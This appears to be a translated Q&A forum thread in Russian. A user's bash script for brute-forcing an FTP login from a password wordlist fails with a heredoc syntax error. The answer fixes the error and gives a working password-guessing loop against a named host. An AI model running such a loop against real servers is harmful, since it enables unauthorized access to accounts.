#bash #shell #ubuntu #sh
#bash #оболочка #ubuntu #sh
Вопрос:
Я пишу короткий скрипт bash, который принудительно запускает ftp-сервер, используя список паролей. Вот мой код:
#!/bin/bash
USER="user"
PASS=""
filename="WORDLIST"
cat $filename | while read LINE; do
PASS=$LINE
ftp -inv services.cyberprotection.agency 2121 << EOF
user $USER $PASS
done
Когда я запускаю свой скрипт, я получаю эту ошибку:
синтаксическая ошибка: неожиданный конец файла
Кто-нибудь может подсказать, почему я получаю эту ошибку, спасибо за любую помощь.
Комментарии:
1. Вы не закрыли heredoc
2. Всякий раз, когда у вас возникает ошибка сценария shell, хорошим первым шагом является вырезание и вставка вашего кода в shellcheck. очистите и исправьте ошибки (важные) и предупреждения (могут быть важными), которые он идентифицирует. Если у вас возникли проблемы с пониманием его сообщений, тогда подойдите сюда и спросите.
Ответ №1:
Вам необходимо завершить heredoc:
#!/bin/bash
USER="user"
PASS=""
filename="WORDLIST"
while read LINE; do
PASS=$LINE
ftp -inv services.cyberprotection.agency 2121 << EOF
user $USER $PASS
EOF
done < "$filename"